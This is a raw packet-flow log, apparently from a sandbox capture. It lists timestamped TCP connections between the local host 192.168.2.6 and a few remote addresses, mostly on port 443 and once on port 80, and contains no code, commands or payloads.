Nov 23, 2024 19:52:21.555089951 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.555176020 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.557248116 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.557321072 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.557332039 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.557429075 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.563276052 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.563292027 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.563352108 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.563359022 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.563436031 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.566205025 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.566292048 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.566298962 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.566405058 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.574311018 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.574397087 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.574405909 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.574460030 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.575021982 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.575042009 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.575083017 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.575089931 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.575124979 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.575144053 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.583431959 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.583509922 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.583518982 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.583563089 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.586061954 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:21.586096048 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:21.586173058 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:21.586734056 CET	49742	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:21.586746931 CET	443	49742	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:21.590436935 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.590519905 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.590531111 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.592503071 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.596739054 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.596787930 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.596816063 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.596824884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.596863985 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.596873999 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.599498034 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.599597931 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.599606037 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.599844933 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.604702950 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.604752064 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.604782104 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.604788065 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.604825020 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.604835033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.606396914 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.606478930 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.606487989 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.606587887 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.611664057 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.611709118 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.611737967 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.611745119 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.611783028 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.611802101 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.619574070 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.619626045 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.619683027 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.619693995 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.619714022 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.619726896 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.627521038 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.627547026 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.627557039 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.627604961 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.627619028 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.627635002 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.627681017 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.627691984 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.627712011 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.627739906 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.631943941 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.631966114 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.632065058 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.632081032 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.632158995 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.633652925 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.633677959 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.633748055 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.633757114 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.634957075 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.635006905 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.635044098 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.635051012 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.635051966 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.635071993 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.635092974 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.637969971 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.637989044 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.638154030 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.638164043 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.638235092 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.640078068 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.640095949 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.640254974 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.640268087 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.640367031 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.642910004 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.642956018 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.643014908 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.643023014 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.643063068 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.643080950 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.644942999 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.644963026 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.645055056 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.645064116 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.645144939 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.645656109 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.645680904 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.645726919 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.645734072 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.645768881 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.645785093 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.649857998 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.649904966 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.649936914 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.649944067 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.649986982 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.649998903 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.651988029 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.652005911 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.652050972 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.652051926 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.652060032 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.652074099 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.652312040 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.652319908 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.652354002 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.652417898 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.658045053 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.658066988 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.658155918 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.658164024 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.658168077 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.658180952 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.658267021 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.658267021 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.658272028 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.658274889 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.658337116 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.671006918 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.671025991 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.671077013 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.671086073 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.671113968 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.671133995 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.671483040 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.671498060 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.671540022 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.671546936 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.671569109 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.671576977 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.774413109 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.774482012 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.774502993 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.774544954 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.779977083 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.780004025 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.780102968 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.780114889 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.780239105 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.780239105 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.782088995 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.782151937 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.782160044 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.782207012 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.786019087 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.786036968 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.786112070 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.786122084 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.786171913 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.797779083 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.797804117 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.797894955 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.797895908 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.797908068 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.797955036 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.805424929 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.805434942 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.805514097 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.805521965 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.805660009 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.806605101 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.806659937 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.806665897 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.806705952 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.806709051 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.806746960 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.806782961 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.806782961 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.806798935 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.806914091 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.820421934 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.820519924 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.820529938 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.820622921 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.820637941 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.820652962 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.820676088 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.820696115 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.820712090 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.820724964 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.820751905 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.822127104 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:21.824342012 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.824362040 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.824397087 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.824460030 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.824465990 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.824520111 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.826981068 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.827059031 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.827065945 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.827212095 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.828628063 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.828649998 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.828727961 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.828735113 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.828778028 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.833194017 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.833220005 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.833314896 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.833323956 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.833405972 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.834948063 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.834963083 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.835040092 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.835046053 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.835094929 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.835563898 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.835627079 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.835633993 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.835777998 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.839248896 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.839267969 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.839339972 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.839348078 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.839449883 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.841223955 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.841284037 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.841291904 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.841291904 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.841306925 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.841346025 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.841377974 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.841377974 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.841377974 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.841386080 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.841429949 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.841433048 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.842024088 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.842102051 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.842108965 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.842243910 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.846892118 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.846908092 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.846967936 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.846976042 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.847013950 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.847023964 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.848419905 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.848486900 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.848494053 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.848541975 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.853255987 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.853286028 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.853338003 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.853346109 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.853374958 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.853384018 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.854727983 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.854748964 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.854794025 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.854803085 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.854835987 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.854846001 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.856815100 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.856887102 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.856894016 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.856936932 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.859175920 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.859191895 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.859244108 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.859255075 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.859335899 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.863380909 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.863445997 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.863454103 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.863507986 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.865528107 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.865545034 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.865592003 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.865597963 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.865643978 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.865659952 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.867157936 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.867216110 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.867222071 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.867245913 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.867291927 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.869721889 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.869786978 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.869796038 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.869837046 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.878118038 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.878187895 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.878196955 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.878285885 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.884558916 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.884639978 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.884646893 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.884686947 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.887470961 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.887496948 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.890316010 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.890367031 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.890379906 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.890389919 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.890422106 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.890433073 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.890872955 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.890938997 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.890948057 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.890991926 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.893887997 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.893901110 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.899394989 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.899466991 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.899472952 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.899794102 CET	49728	443	192.168.2.6	150.171.27.10
